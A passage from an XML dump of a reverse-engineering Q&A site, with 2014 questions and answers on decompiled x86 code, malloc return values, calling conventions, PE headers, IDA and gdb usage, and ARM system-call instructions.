0xA;&#xA;    v5 = 4;&#xA;    v4 = v7;&#xA;  }&#xA;  send(*(_DWORD *)v3, v4, v5, v6);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Assembly below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00408750 ; =============== S U B R O U T I N E =======================================&#xA;.text:00408750&#xA;.text:00408750&#xA;.text:00408750 ; void __thiscall test(void *this, const void *a2, unsigned int a3)&#xA;.text:00408750 test proc near&#xA;.text:00408750                                         ; CODE XREF: ServerMainLoop+5DDp&#xA;.text:00408750                                         ; ServerMainLoop+64Dp&#xA;.text:00408750&#xA;.text:00408750 var_404         = byte ptr -404h&#xA;.text:00408750 buf             = byte ptr -400h&#xA;.text:00408750 a2              = dword ptr  4&#xA;.text:00408750 a3              = dword ptr  8&#xA;.text:00408750&#xA;.text:00408750                 sub     esp, 404h&#xA;.text:00408756                 push    ebx&#xA;.text:00408757                 push    esi&#xA;.text:00408758                 mov     esi, [esp+40Ch+a2]&#xA;.text:0040875F                 push    edi&#xA;.text:00408760                 test    esi, esi&#xA;.text:00408762                 mov     ebx, ecx&#xA;.text:00408764                 jz      short loc_408799&#xA;.text:00408766                 mov     eax, [esp+410h+a3]&#xA;.text:0040876D                 test    eax, eax&#xA;.text:0040876F                 jle     short loc_408799&#xA;.text:00408771                 mov     ecx, eax&#xA;.text:00408773                 lea     edi, [esp+410h+buf+4]&#xA;.text:00408777                 mov     edx, ecx&#xA;.text:00408779                 mov     dword ptr [esp+410h+buf], 0&#xA;.text:00408781                 shr     ecx, 2&#xA;.text:00408784                 rep movsd&#xA;.text:00408786                 mov     ecx, edx&#xA;.text:00408788                 push    0&#xA;.text:0040878A                 and     ecx, 3&#xA;.text:0040878D                 add     eax, 4&#xA;.text:00408790                 push    eax&#xA;.text:00408791                 lea     eax, [esp+418h+buf]&#xA;.text:00408795                 rep movsb&#xA;.text:00408797                 jmp     short loc_4087B7&#xA;.text:00408799 ; ---------------------------------------------------------------------------&#xA;.text:00408799&#xA;.text:00408799 loc_408799:                             ; CODE XREF: test+14j&#xA;.text:00408799                                         ; test+1Fj&#xA;.text:00408799                 call    ds:GetTickCount&#xA;.text:0040879F                 mov     edx, eax&#xA;.text:004087A1                 mov     eax, 0CCCCCCCDh&#xA;.text:004087A6                 mul     edx&#xA;.text:004087A8                 shr     edx, 3&#xA;.text:004087AB                 push    0               ; flags&#xA;.text:004087AD                 mov     dword ptr [esp+414h+var_404], edx&#xA;.text:004087B1                 push    4               ; len&#xA;.text:004087B3                 lea     eax, [esp+418h+var_404]&#xA;.text:004087B7&#xA;.text:004087B7 loc_4087B7:                             ; CODE XREF: test+47j&#xA;.text:004087B7                 mov     ecx, [ebx]&#xA;.text:004087B9                 push    eax             ; buf&#xA;.text:004087BA                 push    ecx             ; s&#xA;.text:004087BB                 call    send&#xA;.text:004087C0                 pop     edi&#xA;.text:004087C1                 pop     esi&#xA;.text:004087C2                 pop     ebx&#xA;.text:004087C3                 add     esp, 404h&#xA;.text:004087C9                 retn    8&#xA;.text:004087C9 test endp&#xA;.text:004087C9&#xA;.text:004087C9 ; ---------------------------------------------------------------------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4451" LastEditorUserId="4451" LastEditDate="2014-04-28T13:35:47.583" LastActivityDate="2014-04-28T13:35:47.583" Title="Can someone tell me what this memcpy or maybe it's a memset? looks like a memset, rep movsd and rep movsb This is a packet sending function" Tags="|ida|decompilation|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4190" PostTypeId="2" ParentId="4189" CreationDate="2014-04-28T13:04:58.013" Score="5" Body="&lt;p&gt;This code is easy, it's just a bit messy 'cause it was generated by a &lt;code&gt;decompiler&lt;/code&gt;. Here's a much simpler commented version :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void __thiscall test(void *this, const void *a2, unsigned int a3)&#xA; {&#xA;    char v7[4]; &#xA;    int  v5 = 4;&#xA;    void *v3 = this;&#xA;    char buf[1024], *v4;&#xA;&#xA;    if (a2 != NULL &amp;amp;&amp;amp; (signed int)a3 &amp;gt; 0)&#xA;    {&#xA;      //Setting the 4 first bytes to 0. Certainly the message header !&#xA;      *(_DWORD *)buf = 0;&#xA;&#xA;      /*&#xA;         Same as :&#xA;         memset(buff, 0, 4);&#xA;         buf[0] = buf[1] = buf[2] = buf[3] = 0; &#xA;       */&#xA;&#xA;      /*&#xA;         Copying the first a3 bytes of a2 into buff + 4. &#xA;         The + 4 is to jump the 4 bytes header set to 0 previously. &#xA;       */ &#xA;      memcpy(buf + 4, a2, a3); //There's no point in 4 * a3 / 4;&#xA;&#xA;      //Size has changed to a3 + 4 (4 bytes for the header)&#xA;      v5 += a3;&#xA;&#xA;      //&#xA;      v4 = buf;&#xA;    }&#xA;    else&#xA;    {&#xA;       /* _DWORD is 4 bytes. This line converts v7 into an integer to&#xA;           copy the value of GetTickCount() / 10 byte by byte into it.  &#xA;        */&#xA;      *(_DWORD *)v7 = GetTickCount() / 10;&#xA;&#xA;      //&#xA;      v4 = v7;&#xA;    }&#xA;&#xA;    send(*(_DWORD *)v3, v4, v5, 0);&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From this I would say that this routine sends a packet with the header set to GetTickCount() / 10 if there's no message (a2 == NULL or a3 &amp;lt;= 0), otherwise it sets the message header to 0, the message itself to a2 and sends the packet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing about the original version you provided is that it was performing a copy 4 elements by 4 ... That's why the &lt;code&gt;memcpy&lt;/code&gt; was split in two. The first one copying the elements 4 * (a3 / 4) (if a3 = 19 then it would've copied 16 elements), the second one copying the remaining a3 % 4 (a3 % 4 &amp;lt;==&gt; a3 &amp;amp; (4 - 1) &amp;lt;==&gt; a3 &amp;amp; 3) elements (if a3 = 19 then it would've copied 3). &lt;/p&gt;&#xA;" OwnerUserId="4437" LastEditorUserId="4437" LastEditDate="2014-04-28T13:19:33.520" LastActivityDate="2014-04-28T13:19:33.520" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="4191" PostTypeId="2" ParentId="4189" CreationDate="2014-04-28T13:10:34.720" Score="5" Body="&lt;p&gt;It's not a memset at all, it's just a memcpy. Copying dword by dword is more efficient than byte by byte, since 32 bits of data bus can be used per copy (at least if the data is word aligned). So what the compiler does is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;divide the number of bytes by 4, by shifting cx right by 2 bits&lt;/li&gt;&#xA;&lt;li&gt;copy the appropriate number of 4-byte-dwords, using movsd&lt;/li&gt;&#xA;&lt;li&gt;calulate the remainder of the number of bytes (by AND-ing cx with 3)&lt;/li&gt;&#xA;&lt;li&gt;copy these bytes one-by-one, using movsb&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What adds to the confusion is that the compiler already prepares the arguments for the next function call while still doing the memcpy - the &lt;code&gt;push 0&lt;/code&gt;, &lt;code&gt;add eax, 4&lt;/code&gt; and &lt;code&gt;push eax&lt;/code&gt; belong to the send call after the &lt;code&gt;jmp&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-04-28T13:10:34.720" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4192" PostTypeId="1" AcceptedAnswerId="4194" CreationDate="2014-04-28T15:25:38.817" Score="2" ViewCount="2883" Body="&lt;p&gt;Here is my &lt;code&gt;objdump -d&lt;/code&gt; snippet with the malloc call and surrounding code.  This binary is stripped.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dbgLab.bin:     file format elf32-i386&#xA;&#xA;&#xA;080483d0 &amp;lt;malloc@plt&amp;gt;:&#xA; 80483d0:   ff 25 04 a0 04 08       jmp    *0x804a004&#xA; 80483d6:   68 08 00 00 00          push   $0x8&#xA; 80483db:   e9 d0 ff ff ff          jmp    80483b0 &amp;lt;printf@plt-0x10&amp;gt;&#xA;&#xA;&#xA;Disassembly of section .text:&#xA;&#xA;&#xA; 804853e:   55                      push   %ebp&#xA; 804853f:   89 e5                   mov    %esp,%ebp&#xA; 8048541:   83 e4 f0                and    $0xfffffff0,%esp&#xA; 8048544:   83 ec 20                sub    $0x20,%esp&#xA; 8048547:   c6 44 24 1f cf          movb   $0xcf,0x1f(%esp)&#xA; 804854c:   c7 04 24 0d 00 00 00    movl   $0xd,(%esp)&#xA; 8048553:   e8 78 fe ff ff          call   80483d0 &amp;lt;malloc@plt&amp;gt;&#xA; 8048558:   89 44 24 18             mov    %eax,0x18(%esp)&#xA; 804855c:   83 7d 08 02             cmpl   $0x2,0x8(%ebp)&#xA; 8048560:   7f 0c                   jg     804856e &amp;lt;strncmp@plt+0x12e&amp;gt;&#xA; 8048562:   c7 04 24 ff ff ff ff    movl   $0xffffffff,(%esp)&#xA; 8048569:   e8 92 fe ff ff          call   8048400 &amp;lt;exit@plt&amp;gt;&#xA; 804856e:   8b 45 0c                mov    0xc(%ebp),%eax&#xA; 8048571:   83 c0 04                add    $0x4,%eax&#xA; 8048574:   8b 00                   mov    (%eax),%eax&#xA; 8048576:   c7 44 24 08 0d 00 00    movl   $0xd,0x8(%esp)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user4466" LastEditorDisplayName="user4466" LastEditDate="2014-04-28T16:02:51.197" LastActivityDate="2014-05-02T16:29:14.917" Title="At which address on the stack or in memory is eax stored after the malloc call?" Tags="|ida|decompilation|debuggers|gdb|objdump|" AnswerCount="2" CommentCount="1" ClosedDate="2014-04-30T00:40:15.253" ContentLicense="CC BY-SA 3.0" />
  <row Id="4193" PostTypeId="2" ParentId="4192" CreationDate="2014-04-28T15:31:06.693" Score="5" Body="&lt;p&gt;Normally, return values are stored in &lt;code&gt;eax&lt;/code&gt;. Structures and Floats/Doubles may be exceptions, depending on the &lt;code&gt;ABI&lt;/code&gt; &amp;amp; the compiler used, but for &lt;code&gt;malloc&lt;/code&gt;, &lt;code&gt;eax&lt;/code&gt; is the return value. So &lt;em&gt;nowhere&lt;/em&gt; on the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your specific case:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 8048553:   e8 78 fe ff ff          call   80483d0 &amp;lt;malloc@plt&amp;gt;&#xA; 8048558:   89 44 24 18             mov    %eax,0x18(%esp)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;eax&lt;/code&gt; register is stored on the stack, in some local variable that is 24 (hex 18) bytes &quot;above&quot; the stack pointer. There is no way to determine the name of that local variable name from the &lt;code&gt;objdump&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please, next time, try to ask your question in a way that is better to understand - for example &quot;My function that calls malloc stores the result somewhere, what does that instruction do ?&quot; and post only the relevant code.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4437" LastEditDate="2014-05-02T16:29:14.917" LastActivityDate="2014-05-02T16:29:14.917" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4194" PostTypeId="2" ParentId="4192" CreationDate="2014-04-28T15:33:06.977" Score="6" Body="&lt;p&gt;A call to &lt;code&gt;malloc&lt;/code&gt; returns the address of the allocated memory in the &lt;code&gt;eax&lt;/code&gt; register on &lt;code&gt;x86&lt;/code&gt;, &lt;code&gt;rax&lt;/code&gt; on &lt;code&gt;x86_64&lt;/code&gt;, and &lt;code&gt;r0&lt;/code&gt; on &lt;code&gt;ARM&lt;/code&gt;. Nothing is pushed on the stack. Check the line following the call to &lt;code&gt;malloc&lt;/code&gt; &amp;amp; you'll understand !&#xA;You should check the calling conventions of your platform too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose you have this in your code :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      int *p = malloc(sizeof(int) * 4);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you translate this line into assembly you'll get what follows : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      call   80483d0 &amp;lt;malloc@plt&amp;gt;&#xA;      mov    %eax,0x18(%esp)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;malloc&lt;/code&gt; call returns in &lt;code&gt;eax&lt;/code&gt; the address of allocated memory block. In the C code, this address is assigned to &lt;code&gt;p&lt;/code&gt; which is a local variable located on the stack. And that's what the following assembly does : &lt;code&gt;mov %eax,0x18(%esp)&lt;/code&gt;.    &lt;/p&gt;&#xA;" OwnerUserId="4437" LastEditorUserId="4437" LastEditDate="2014-04-28T16:11:55.347" LastActivityDate="2014-04-28T16:11:55.347" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4195" PostTypeId="1" CreationDate="2014-04-28T21:04:48.467" Score="-3" ViewCount="1474" Body="&lt;p&gt;I posted a question a few time ago but answers were not clear to me and the topic was closed because apparently the request was not clear:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SO I clarify it: One upon a time a wrote a obj-c app but now I only have binary, don't know where I put the source code!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you guide me step-by-step in order to retrive the source code from the binary?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/egFq5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;otools gives:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UkL5X.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;so the binary is luckly not encrypted&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3952" LastActivityDate="2014-04-29T03:28:13.157" Title="objective-c: getting source code from binary" Tags="|decompilation|ios|" AnswerCount="1" CommentCount="2" ClosedDate="2014-04-29T06:03:08.417" ContentLicense="CC BY-SA 3.0" />
  <row Id="4196" PostTypeId="1" AcceptedAnswerId="4197" CreationDate="2014-04-29T00:58:56.597" Score="4" ViewCount="99" Body="&lt;p&gt;How can I figure out which general-purpose registers are modified by a function call. I am programming a Win32 Assembly program that calls IsDebuggerPresent(). According to MSDN, it will return a boolean value of nonzero is a debugger is present. How would I find out which register is modified without having to assemble and link the program to test it.&lt;/p&gt;&#xA;" OwnerUserId="2744" LastActivityDate="2014-04-29T02:31:59.323" Title="registers set by function" Tags="|windows|debugging|anti-debugging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4197" PostTypeId="2" ParentId="4196" CreationDate="2014-04-29T02:31:59.323" Score="6" Body="&lt;p&gt;In general, this concept is referred to as &lt;em&gt;register preservation&lt;/em&gt; or &lt;em&gt;register volatility&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://en.wikipedia.org/wiki/X86_calling_conventions#Register_preservation&quot;&gt;http://en.wikipedia.org/wiki/X86_calling_conventions#Register_preservation&lt;/a&gt; --&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;According to the Intel ABI to which the vast majority of compilers&#xA;  conform, the &lt;code&gt;EAX&lt;/code&gt;, &lt;code&gt;EDX&lt;/code&gt;, and &lt;code&gt;ECX&lt;/code&gt; are to be free for use within a&#xA;  procedure or function, and need not be preserved.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In other words, an API function such as &lt;code&gt;IsDebuggerPresent()&lt;/code&gt; might modify &lt;code&gt;EAX&lt;/code&gt;, &lt;code&gt;EDX&lt;/code&gt;, and/or &lt;code&gt;ECX&lt;/code&gt;, but it won't modify &lt;code&gt;EBX&lt;/code&gt;, &lt;code&gt;ESP&lt;/code&gt;, or &lt;code&gt;EBP&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-04-29T02:31:59.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4198" PostTypeId="2" ParentId="4195" CreationDate="2014-04-29T03:28:13.157" Score="3" Body="&lt;p&gt;With a lot of manual correction you can most probably get &quot;a&quot; source code, in assembly language as a first step.  That may be all you need to provide whatever support you need to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get &quot;a&quot; source code in Objective-C or in any higher language you will have to analyse the structure of your working assembly program and translate it into the language of your choice.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However it will never be &quot;the&quot; original source code, in all its glory.&lt;/p&gt;&#xA;" OwnerUserId="4362" LastActivityDate="2014-04-29T03:28:13.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4199" PostTypeId="5" CreationDate="2014-04-29T15:15:34.967" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-04-29T15:15:34.967" LastActivityDate="2014-04-29T15:15:34.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4200" PostTypeId="4" CreationDate="2014-04-29T15:15:34.967" Score="0" Body="Attacks requiring a physical access to the target device or infrastructure to operate." OwnerUserId="4437" LastEditorUserId="53" LastEditDate="2014-04-29T16:18:56.743" LastActivityDate="2014-04-29T16:18:56.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4201" PostTypeId="5" CreationDate="2014-04-29T15:16:52.880" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-04-29T15:16:52.880" LastActivityDate="2014-04-29T15:16:52.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4202" PostTypeId="4" CreationDate="2014-04-29T15:16:52.880" Score="0" Body="A protection mechanism deployed to counter the illegal copying of software or any other digital material such as movies, music, e-books, ... " OwnerUserId="4437" LastEditorUserId="4437" LastEditDate="2014-04-29T17:33:57.193" LastActivityDate="2014-04-29T17:33:57.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4203" PostTypeId="1" AcceptedAnswerId="4204" CreationDate="2014-04-29T20:42:00.310" Score="4" ViewCount="1772" Body="&lt;p&gt;I am looking for something that is like &lt;code&gt;gdb&lt;/code&gt; but maybe with a GUI that can show all registers current values ans the current values of memory and things on the stack?  Freeware is preferred.  I have a free version of IDA and anything that comes with Kali Linux.  It is an ELF file that is stripped.&lt;/p&gt;&#xA;" OwnerDisplayName="user4466" LastEditorUserId="1547" LastEditDate="2014-07-25T15:25:36.873" LastActivityDate="2014-07-30T03:15:19.950" Title="Tools to show the registers and memory locations in use during execution?" Tags="|ida|disassembly|decompilation|binary-analysis|gdb|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4204" PostTypeId="2" ParentId="4203" CreationDate="2014-04-29T20:45:39.973" Score="3" Body="&lt;p&gt;Perhaps you should try &lt;code&gt;DDD&lt;/code&gt;. It's a &lt;code&gt;GUI&lt;/code&gt; for &lt;code&gt;GDB&lt;/code&gt; with lots of great features that simplify debugging for beginners &amp;amp; experts too. I have to warn you though, if your binary is stripped what matters most is the methodology. Most debuggers are extremely efficient if debug symbols are present (in case of an &lt;code&gt;ELF&lt;/code&gt;, the &lt;code&gt;DWARF&lt;/code&gt; is what you need to check). Without debug symbols all you can do is go through the code step by step, setting breakpoints at locations where the assembly code seems to be interesting. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You must know that reverse engineering is a challenge, not an easy task, and that there's no such thing as a magic tool. All the tools rely on algorithm which are not, unfortunately, flawless. Disassemblers can fail, decompilers can stumble upon patterns they can't turn into high-level code, and so on and so forth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to develop a methodology which you'll have to adapt with experience. That's how you'll be able to forge good reversing skills. Meanwhile, the forum is open for questions, hopefully as precise &amp;amp; concise as the answers.&lt;/p&gt;&#xA;" OwnerUserId="4437" LastEditorUserId="4437" LastEditDate="2014-04-29T21:09:23.283" LastActivityDate="2014-04-29T21:09:23.283" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4205" PostTypeId="5" CreationDate="2014-04-29T21:15:41.230" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-04-29T21:15:41.230" LastActivityDate="2014-04-29T21:15:41.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4206" PostTypeId="4" CreationDate="2014-04-29T21:15:41.230" Score="0" Body="QEMU is a software that performs CPU emulation through dynamic binary translation. It allows the execution of applications compiled for a certain specific architecture to run on other architectures.  " OwnerUserId="4437" LastEditorUserId="4437" LastEditDate="2014-05-01T08:16:49.687" LastActivityDate="2014-05-01T08:16:49.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4207" PostTypeId="2" ParentId="4203" CreationDate="2014-04-29T21:39:20.303" Score="2" Body="&lt;p&gt;gdb has a &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;text user interface &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;can be activated with &lt;code&gt;layout&lt;/code&gt; command in a running instance of gdb or with &lt;code&gt;--tui&lt;/code&gt; command line switch while starting&lt;/p&gt;&#xA;&#xA;&lt;p&gt;will show registers and assembly  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;this would be the most cheapest option i guess:)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the following commands should provide an over view tui&#xA;layout split ; layout regs ; layout asm ; layout src ;layout next; layout prev;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;apart from the already mentioned DDD&#xA;EDB with Qt framework can be checked out &lt;a href=&quot;http://freecode.com/projects/edebugger&quot; rel=&quot;nofollow&quot;&gt;EDB (EVANS Debugger)&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2014-04-29T21:39:20.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4210" PostTypeId="1" CreationDate="2014-04-30T04:29:16.320" Score="2" ViewCount="1910" Body="&lt;p&gt;If you remove &quot;data directory&quot; from a &quot;PE file&quot; what will happen ?&#xA;I think loader will give an error, but I'm not sure. Please try to correct me.&lt;/p&gt;&#xA;" OwnerUserId="4494" LastActivityDate="2014-04-30T09:49:53.387" Title="PE file - data directory" Tags="|pe|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4211" PostTypeId="2" ParentId="4210" CreationDate="2014-04-30T08:59:59.733" Score="0" Body="&lt;p&gt;I haven't done this since the early days of MSDOS filenames in 8.3 form.  If you edit the dard disc directory area with a hex editor and change the flag byte(s) which signify that a file is an extended directory then you can open that file as if it was a file.  I don't know what happens with later Ms DOSs, though.  Easy enough to test with WinHex, if you want.&lt;/p&gt;&#xA;" OwnerUserId="4362" LastActivityDate="2014-04-30T08:59:59.733" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4212" PostTypeId="2" ParentId="4210" CreationDate="2014-04-30T09:49:53.387" Score="3" Body="&lt;p&gt;You can't exactly &quot;delete&quot; this directory, however you can set the &lt;code&gt;NumberOfRvaAndSizes&lt;/code&gt; field to 0 and then the system loader won't use the entries from it. From the &lt;a href=&quot;http://www.phreedom.org/research/tinype/&quot; rel=&quot;nofollow&quot;&gt;TinyPE page&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The PE specification says that the number of data directories is&#xA;  specified in the NumberOfRvaAndSizes header field and the size of the&#xA;  PE optional header is variable. If we set NumberOfRvaAndSizes to 0 and&#xA;  decrease SizeOfOptionalHeader, we can remove the data directories from&#xA;  the file.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However, the resulting file won't work in Windows 2000 &quot;&lt;em&gt;because the loader tries to call a function from KERNEL32, but KERNEL32.DLL is not loaded&lt;/em&gt;&quot;. So normally you should add at least an Import Table directory, which needs &lt;code&gt;NumberOfRvaAndSizes&lt;/code&gt; to be at least 2. (You also need an import directory if you want your file to do anything useful, like call functions from other DLLs :)&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-04-30T09:49:53.387" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4213" PostTypeId="1" AcceptedAnswerId="4249" CreationDate="2014-04-30T11:32:13.813" Score="3" ViewCount="4463" Body="&lt;p&gt;I have a problem just like in the question. Modern compilers don't use &lt;code&gt;ebp&lt;/code&gt; to handle local variables and arguments, they just calculate and add hard=coded offsets to &lt;code&gt;esp&lt;/code&gt;. Example: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub     esp, 5Eh  &#xA;...     &#xA;mov     [esp+5Eh+var_1], 123h&#xA;mov     [esp+5Eh+var_2], 456h&#xA;call    some_func            ; var_1 and var_2 point to actual addresses&#xA;cmp     eax, 0               ; esp changed (stdcall), var_1 and var_2 point to wrong addresses&#xA;&#xA;...&#xA;&#xA;;  creation of a &quot;fake&quot; variable example:&#xA;;  var_3 = -8h&#xA;;  var_4 = -12h &#xA;mov     [esp+5Eh+var_3], 78h  ; var_3 at: esp + 5Eh -8h&#xA;pop     eax                   ; esp = esp + 4  &#xA;mov     [esp+5Eh+var_4], 89h  ; var_4 at: esp + 4  + 5eh -12h = esp + 5Eh -8h = var_3&#xA;; desireable fix:&#xA;mov     [esp+62h+var_3], 89h &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This results in a lot of overhead: IDA creates &quot;fake&quot; local variables (i.e. several names for one and the same address), you can't freely check variables whenever you want to, you have to create additional comments, etc. So I was wondering is there any way to fix that ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS. I'm using IDA Pro Free. Tell me if it is possible only in IDA Pro (full version). &lt;/p&gt;&#xA;" OwnerUserId="3785" LastEditorUserId="3785" LastEditDate="2014-05-03T22:33:03.387" LastActivityDate="2014-05-03T22:33:03.387" Title="Is there a way to adjust local variables when a function doesn't utilize ebp?" Tags="|ida|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4214" PostTypeId="1" CreationDate="2014-04-30T12:29:00.727" Score="3" ViewCount="931" Body="&lt;p&gt;I am using version 6 of IDA because it is the only one that works on Mac. My colleague is using IDA 5. We would like to collaborate by sending the an IDC file back and forth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the IDC file generated by my program cannot be loaded in his program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way for me to generate an IDC file that is compatible with her machine? Is it possible it doesn't work because I am using the trial version of IDA? Are there scripts that can be run on the file to convert it back and forth?&lt;/p&gt;&#xA;" OwnerUserId="4420" LastEditorUserId="2147" LastEditDate="2018-10-02T20:01:57.330" LastActivityDate="2018-10-02T20:01:57.330" Title="Sharing IDC file between versions 5 and 6 of IDA pro" Tags="|ida|ida-plugin|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4215" PostTypeId="2" ParentId="4213" CreationDate="2014-04-30T13:31:10.933" Score="2" Body="&lt;p&gt;With your cursor inside of the given function, press &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt; to edit the function properties. In the &lt;strong&gt;Edit function&lt;/strong&gt; window, uncheck &lt;strong&gt;BP based frame&lt;/strong&gt; and press &lt;strong&gt;OK&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-04-30T13:31:10.933" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4216" PostTypeId="1" AcceptedAnswerId="4221" CreationDate="2014-04-30T16:20:48.623" Score="2" ViewCount="4306" Body="&lt;p&gt;I am a noob to the reversing world.  I have a Android Java application which uses a shared library via JNI and I would like to set a breakpoint in the shared library.  The shared library is stripped so as I far as I understand I can set breakpoints by address only.  I have put the shared object through IDA and have a couple of positions I would like to set breakpoints but I am unsure on how I can calculate this or even if this is possible.  I am using gdbserver on Android attaching to the process and connecting from Mac OSX using gdb in the NDK.  I have been trying to calculate the memory address by taking what /proc/'pid'/smap gives me and calculating an offset from the IDA assembly I have.  Is this the right direction?  Is this even possible?&lt;/p&gt;&#xA;" OwnerUserId="4499" LastActivityDate="2014-04-30T21:18:14.157" Title="Set breakpoint on shared library" Tags="|ida|gdb|android|arm|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4217" PostTypeId="1" CreationDate="2014-04-30T17:55:24.073" Score="6" ViewCount="6726" Body="&lt;p&gt;Checking out Linux &lt;code&gt;ARM&lt;/code&gt; shellcode I see that the system call is made by using the &lt;code&gt;svc 1&lt;/code&gt; instruction. However, I have also seen &lt;a href=&quot;http://brnz.org/hbr/?m=201102&quot; rel=&quot;noreferrer&quot;&gt;examples&lt;/a&gt; where they use &lt;code&gt;svc 0&lt;/code&gt; as the instruction that calls the system call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Evidently, system calls in Linux on &lt;code&gt;ARM&lt;/code&gt; can be performed using both &lt;code&gt;svc 0&lt;/code&gt; and &lt;code&gt;svc 1&lt;/code&gt;. Why is this the case as opposed to architectures such as &lt;code&gt;x86&lt;/code&gt;. Are the kind of interrupts generated by both these instructions the same?&lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastEditorUserId="4437" LastEditDate="2014-04-30T20:03:36.293" LastActivityDate="2014-05-02T11:23:39.483" Title="ARM shellcode for linux - svc 0 vs svc 1" Tags="|arm|shellcode|" AnswerCount="1" 